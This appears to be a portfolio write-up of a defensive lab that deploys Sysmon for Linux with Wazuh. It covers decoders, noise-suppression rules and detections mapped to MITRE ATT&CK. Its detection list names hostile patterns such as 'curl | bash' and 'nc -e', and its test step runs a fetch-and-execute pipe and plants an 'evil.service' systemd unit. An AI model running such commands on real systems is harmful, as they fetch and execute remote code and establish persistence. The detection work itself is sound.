

Endpoint Telemetry & Threat Detection using Sysmon for Linux with Wazuh SIEM

Project Overview

Modern Linux systems are widely used in cloud and production environments, yet endpoint visibility on Linux is often limited compared to Windows. This project focuses on deploying **Sysmon for Linux** and integrating it with **Wazuh SIEM** to collect deep endpoint telemetry, build meaningful detections, reduce alert noise, and generate high-confidence security alerts.

The project demonstrates **real SOC engineering**, covering telemetry collection, decoding, detection tuning, and alert validation.

Objectives

- Deploy Sysmon for Linux to collect detailed endpoint telemetry
- Integrate Sysmon logs with Wazuh Manager using custom decoders and rules
- Validate event ingestion and decoding in Wazuh Dashboard
- Reduce alert noise through rule tuning and suppression
- Build high-confidence detections (LOLBins & Persistence)
- Simulate attacks and validate alerts end-to-end

Why This Project Matters

- Linux endpoints are often under-monitored in SOC environments
- Sysmon provides **low-level behavioral visibility** (process, file, network)
- Raw telemetry without tuning causes alert fatigue
- This project shows how SOC teams:
 - Convert telemetry into **actionable detections**
 - Reduce noise by **90%+**
 - Detect real attacker behaviors (LOLBins & persistence)

Step-by-Step Implementation

Step 1: Install Sysmon for Linux on Endpoint

- Installed Sysmon for Linux using official Microsoft packages
- Verified kernel compatibility and eBPF support
- Ensured Sysmon service was installed and running successfully

Outcome:

Sysmon successfully installed and running on the Linux endpoint.

```
Header installed to /usr/include/libsysinternalsEBPF.h
Support files installed to /opt/sysinternalsEBPF
Setting up sysmonforlinux (1.4.0) ...
Processing triggers for man-db (2.12.0-4build2) ...
Processing triggers for libc-bin (2.39-0ubuntu8.6) ...
Scanning processes...
Scanning linux images...

Running kernel seems to be up-to-date.

No services need to be restarted.

No containers need to be restarted.

No user sessions are running outdated binaries.

No VM guests are running outdated hypervisor (qemu) binaries on this host.
root@ip-10-10-10-10:~# nano /opt/config.xml
root@ip-10-10-10-10:~# sysmon -accepteula -i /opt/config.xml

Sysmon v1.4.0 - Monitors system events
Sysinternals - www.sysinternals.com
By Mark Russinovich, Thomas Garnier and Kevin Sheldrake
Copyright (C) 2014-2025 Microsoft Corporation
Licensed under MIT/GPLv2
Using libxml2. libxml2 is Copyright (C) 1998-2012 Daniel Veillard. All Rights Reserved.

Loading configuration file with schema version 4.70
Sysmon schema version: 4.81
Configuration file validated.
Created symlink /etc/systemd/system/multi-user.target.wants/sysmon.service → /etc/systemd/system/sysmon.service.
root@ip-10-10-10-10:~#
```

Step 2: Configure Sysmon (config.xml)

- Created a Sysmon configuration XML file
- Enabled core event types:
 - Process creation
 - Network connections
 - File creation and deletion
 - Process termination
- Installed configuration using:
 - `sysmon -accepteula -i /opt/config.xml`

Outcome:

Sysmon started collecting endpoint telemetry based on defined rules.

```
GNU nano 7.2 /opt/config.xml
<Sysmon schemaversion="4.70">
  <EventFiltering>
    <!-- Event ID 1 == ProcessCreate. Log all newly created processes -->
    <RuleGroup name="" groupRelation="or">
      <ProcessCreate onmatch="exclude"/>
    </RuleGroup>
    <!-- Event ID 3 == NetworkConnect Detected. Log all network connections -->
    <RuleGroup name="" groupRelation="or">
      <NetworkConnect onmatch="exclude"/>
    </RuleGroup>
    <!-- Event ID 5 == ProcessTerminate. Log all processes terminated -->
    <RuleGroup name="" groupRelation="or">
      <ProcessTerminate onmatch="exclude"/>
    </RuleGroup>
    <!-- Event ID 9 == RawAccessRead. Log all raw access read -->
    <RuleGroup name="" groupRelation="or">
      <RawAccessRead onmatch="exclude"/>
    </RuleGroup>
    <!-- Event ID 10 == ProcessAccess. Log all open process operations -->
    <RuleGroup name="" groupRelation="or">
      <ProcessAccess onmatch="exclude"/>
    </RuleGroup>
    <!-- Event ID 11 == FileCreate. Log every file creation -->
    <RuleGroup name="" groupRelation="or">
      <FileCreate onmatch="exclude"/>
    </RuleGroup>
    <!--Event ID 23 == FileDelete. Log all files being deleted -->
    <RuleGroup name="" groupRelation="or">
      <FileDelete onmatch="exclude"/>
    </RuleGroup>
  </EventFiltering>
</Sysmon>
```

Step 3: Integrate Sysmon with Wazuh Manager

3.1 Add Custom Sysmon Decoder

- Created custom decoder file:
- /var/ossec/etc/decoders/decoder-linux-sysmon.xml
- Decoder parses Sysmon XML fields into structured Wazuh fields

```
root@ip-10-10-10-10: /home/ubuntu# nano /var/ossec/etc/decoders/decoder-linux-sysmon.xml
root@ip-10-10-10-10: /home/ubuntu# cat /var/ossec/etc/decoders/decoder-linux-sysmon.xml
<decoder name="sysmon-linux">
  <program_name>sysmon</program_name>
</decoder>

<!-- system -->
<!-- EventID -->
<decoder name="sysmon-linux-child">
  <parent>sysmon-linux</parent>
  <regex offset="after_parent">\pEventID\p(\d+)\p/EventID\p</regex>
  <order>system.eventID</order>
</decoder>

<!-- keywords -->
<decoder name="sysmon-linux-child">
  <parent>sysmon-linux</parent>
  <regex offset="after_parent">\pKeywords\p(\.+)\p/Keywords\p</regex>
  <order>system.keywords</order>
</decoder>

<!-- level -->
<decoder name="sysmon-linux-child">
  <parent>sysmon-linux</parent>
  <regex offset="after_parent">\pLevel\p(\d+)\p/Level\p</regex>
  <order>system.level</order>
</decoder>

<!-- channel -->
<decoder name="sysmon-linux-child">
  <parent>sysmon-linux</parent>
```

3.2 Add Sysmon Rules in Wazuh

- Added Sysmon base rules:
 - Event ID 1 – Process creation
 - Event ID 3 – Network connection
 - Event ID 11 – File creation
 - Event ID 23 – File deletion
- Rules mapped to MITRE ATT&CK techniques

Outcome:

Sysmon events successfully decoded and converted into Wazuh alerts.

```
root@ip-10-10-10-10: /home/ubuntu# cat /var/ossec/etc/rules/200150-sysmon_for_linux_rules.xml
<!--
- Sysmo For Linux rules
-->
<group name="linux,sysmon,">
  <rule id="200150" level="3">
    <decoded_as>sysmon-linux</decoded_as>
    <field name="system.eventID">\.</field>
    <description>Sysmon For Linux Event</description>
    <mitre>
      <id>T1204</id>
    </mitre>
    <options>no_full_log</options>
  </rule>
<!--EventID = 1-->
  <rule id="200151" level="3">
    <if_sid>200150</if_sid>
    <field name="system.eventID">^1$</field>
    <description>Sysmon - Event 1: Process creation $(eventdata.image)</description>
    <group>sysmon_event1</group>
    <mitre>
      <id>T1204</id>
    </mitre>
    <options>no_full_log</options>
  </rule>
<!--EventID = 3-->
  <rule id="200152" level="3">
    <if_sid>200150</if_sid>
    <field name="system.eventID">^3$</field>
    <description>Sysmon - Event 3: Network connection by $(eventdata.image)</description>
```

```
root@ip-10-10-10-10: /home/ubuntu# nano /var/ossec/etc/rules/200150-sysmon_for_linux_rules.xml
root@ip-10-10-10-10: /home/ubuntu# chown root:wazuh /var/ossec/etc/decoders/decoder-linux-sysmon.xml
chown root:wazuh /var/ossec/etc/rules/200150-sysmon_for_linux_rules.xml
chmod 640 /var/ossec/etc/decoders/decoder-linux-sysmon.xml
chmod 640 /var/ossec/etc/rules/200150-sysmon_for_linux_rules.xml
```

Step 4: Verify Sysmon Event Generation

- Executed basic Linux commands (nano, curl, bash)
- Verified Sysmon logs were generated in system logs
- Confirmed Sysmon Event IDs (1, 3, 5, 11, 23)

Outcome:

Sysmon telemetry confirmed at the endpoint level.

```
root@ip-...: ~# cat /var/ossec/etc# curl http://example.com
ls
sleep 2
<!doctype html><html lang="en"><head><title>Example Domain</title><meta name="viewport" content="width=device-width, initial-scale=1"><style>body{backgro
und:#eee;width:60vw;margin:15vh auto;font-family:system-ui,sans-serif}h1{font-size:1.5em}div{opacity:0.8}a:link,a:visited{color:#348}</style><body><div><
h1>Example Domain</h1><p>This domain is for use in documentation examples without needing permission. Avoid use in operations.<p><a href="https://iana.or
g/domains/example">Learn more</a></div></body></html>
client.keys internal_options.conf local_internal_options.conf localtime ossec.conf shared wpk_root.pem
root@ip-...: ~# cat /var/ossec/etc#
```

Step 5: Validate Alerts in Wazuh Dashboard

- Triggered Sysmon events from the Linux agent
- Verified alerts appeared in:
 - Wazuh Dashboard
 - Discover & Alerts view
- Confirmed decoded fields:
 - process image
 - command line
 - hashes
 - target filename

Outcome:

End-to-end visibility confirmed from endpoint → SIEM.

```
> Jan 23, 2026 @ 09:25:45.358 [predecoder.hostname: ip-... [predecoder.program_name: sysmon [predecoder.timestamp: Jan 23 03:55:43 [input.type: log [agent.ip: ... [agent.name: clientma
chine [agent.id: 002 [manager.name: ... [data.eventdata.image: /usr/bin/curl [data.eventdata.processGuid: {ec261c24-f13f-6972-8dde-cf4b855f0000}
[data.eventdata.processId: 11999 [data.eventdata.ruleName: - [data.eventdata.user: root [data.system.eventRecordID: 1603 [data.system.threadID: 11984
[data.system.eventID: 5 [data.system.computer: ... [data.system.task: 5 [data.system.keywords: 0x8000000000000000 [data.system.level: 4
[data.system.processID: 11984 [data.system.channel: Linux-Sysmon/Operational [data.system.opcode: 0 [data.system.version: 3 [data.system.systemTime: 2026-01-23T03:55:4
> Jan 23, 2026 @ 09:25:45.352 [predecoder.hostname: ... [predecoder.program_name: sysmon [predecoder.timestamp: Jan 23 03:55:43 [input.type: log [agent.ip: ... [agent.name: clientma
chine [agent.id: 002 [manager.name: ... [data.eventdata.originalFileName: - [data.eventdata.image: /usr/bin/curl [data.eventdata.product: -
[data.eventdata.parentProcessGuid: {00000000-0000-0000-0000-000000000000} [data.eventdata.description: - [data.eventdata.logonGuid: {ec261c24-0000-0000-0000-00000100000
0} [data.eventdata.parentCommandLine: - [data.eventdata.processGuid: {ec261c24-f13f-6972-8dde-cf4b855f0000} [data.eventdata.logonId: 0
[data.eventdata.parentProcessId: 1477 [data.eventdata.processId: 11999 [data.eventdata.currentDirectory: /var/ossec/etc [data.eventdata.hashes: SHA256=aca992dba014cd
> Jan 23, 2026 @ 09:25:45.162 [predecoder.program_name: sysmon [predecoder.timestamp: 2026-01-23T03:55:43.567715+00:00 [input.type: log [agent.ip: ... [agent.name: clientmachine [agent.id: 00
2 [manager.name: ip-... [data.eventdata.originalFileName: - [data.eventdata.image: /usr/bin/sleep [data.eventdata.product: -
[data.eventdata.parentProcessGuid: {00000000-0000-0000-0000-000000000000} [data.eventdata.description: - [data.eventdata.logonGuid: {ec261c24-0000-0000-0000-00000100000
0} [data.eventdata.parentCommandLine: - [data.eventdata.processGuid: {ec261c24-f13f-6972-b126-9f91ba640000} [data.eventdata.logonId: 0
```

t	rule.description	Sysmon - Event 1: Process creation /usr/bin/curl
#	rule.firedtimes	633
t	rule.groups	linux, sysmon, sysmon_event1
t	rule.id	200151
#	rule.level	3
🕒	rule.mail	false
t	rule.mitre.id	T1204
t	rule.mitre.tactic	Execution
t	rule.mitre.technique	User Execution
📅	timestamp	Jan 23, 2026 @ 09:25:45.144

Step 6: Identify and Reduce Alert Noise

- Observed excessive alerts for benign activity:
 - nano
 - bash
 - cron
 - systemd
- Identified this as **telemetry noise**, not threats

Actions Taken:

- Lowered severity of baseline Sysmon rules
- Added suppression rules for known-good processes
- Ensured telemetry was retained but alerts reduced

Outcome:

Alert volume reduced significantly while preserving visibility.

```
<!-- Suppress common Linux noise -->
<rule id="200300" level="0">
  <if_sid>200150</if_sid>
  <field name="eventdata.image">nano$|systemd$|cron$|debian-sa1$|apt$|dpkg$|bash$</field>
  <description>Suppress common Linux processes</description>
  <options>no_full_log</options>
</rule>
```

```
<rule id="200150" level="0">
  <decoded_as>sysmon-linux</decoded_as>
  <field name="system.eventID">\.+</field>
  <description>Sysmon For Linux Event</description>
  <options>no_full_log</options>
</rule>
```

Step 7: Implement High-Confidence Detection Rules

7.1 LOLBins Detection

Detected attacker abuse of legitimate binaries:

- curl | bash
- wget | bash
- python -c
- nc -e

Mapped to:

- MITRE T1059
- MITRE T1105

7.2 Linux Persistence Detection

Detected persistence mechanisms:

- Cron job modifications
- Systemd service creation
- SSH authorized_keys modification

Mapped to:

- MITRE T1053
- MITRE T1543
- MITRE T1098

Outcome:

Only high-risk behaviors generate alerts (Level 10).

```
GNU nano 7.2 /var/ossec/etc/rules/sysmon_linux_detections.xml
<!-- ===== -->
<!-- LINUX PERSISTENCE DETECTIONS (FILE CREATE - EventID 11) -->
<!-- ===== -->

<!-- Cron persistence -->
<rule id="300001" level="10">
  <if_sid>200155</if_sid>
  <field name="eventdata.targetFilename">/etc/cron|/var/spool/cron</field>
  <description>Persistence detected: Cron modification</description>
  <mitre>
    <id>T1053</id>
  </mitre>
</rule>

<!-- Systemd service persistence -->
<rule id="300002" level="10">
  <if_sid>200155</if_sid>
  <field name="eventdata.targetFilename">/etc/systemd/system</field>
  <description>Persistence detected: Systemd service created</description>
  <mitre>
    <id>T1543</id>
  </mitre>
</rule>
```

Step 8: Detection Testing & Validation

- Executed test commands:
 - curl http://example.com | bash
- Created persistence artifacts:
 - sudo touch /etc/systemd/system/evil.service
- Verified:
 - Alerts triggered correctly
 - Correct rule ID and severity
 - Alerts visible in dashboard

Outcome:

Detections validated successfully.

Skills Gained

- Linux endpoint telemetry engineering
- Sysmon for Linux deployment and tuning
- Wazuh decoder and rule development
- Alert noise reduction strategies
- MITRE ATT&CK mapping
- SOC-style detection engineering
- End-to-end alert validation

❏ Conclusion

This project demonstrates a complete **SOC-ready endpoint detection pipeline** for Linux systems using Sysmon and Wazuh. Starting from raw telemetry collection, the project progresses through decoding, alert validation, noise reduction, and finally high-confidence threat detection.

The final outcome is a **low-noise, high-signal detection system** capable of identifying real attacker behaviors on Linux endpoints — exactly how modern SOC teams operate.
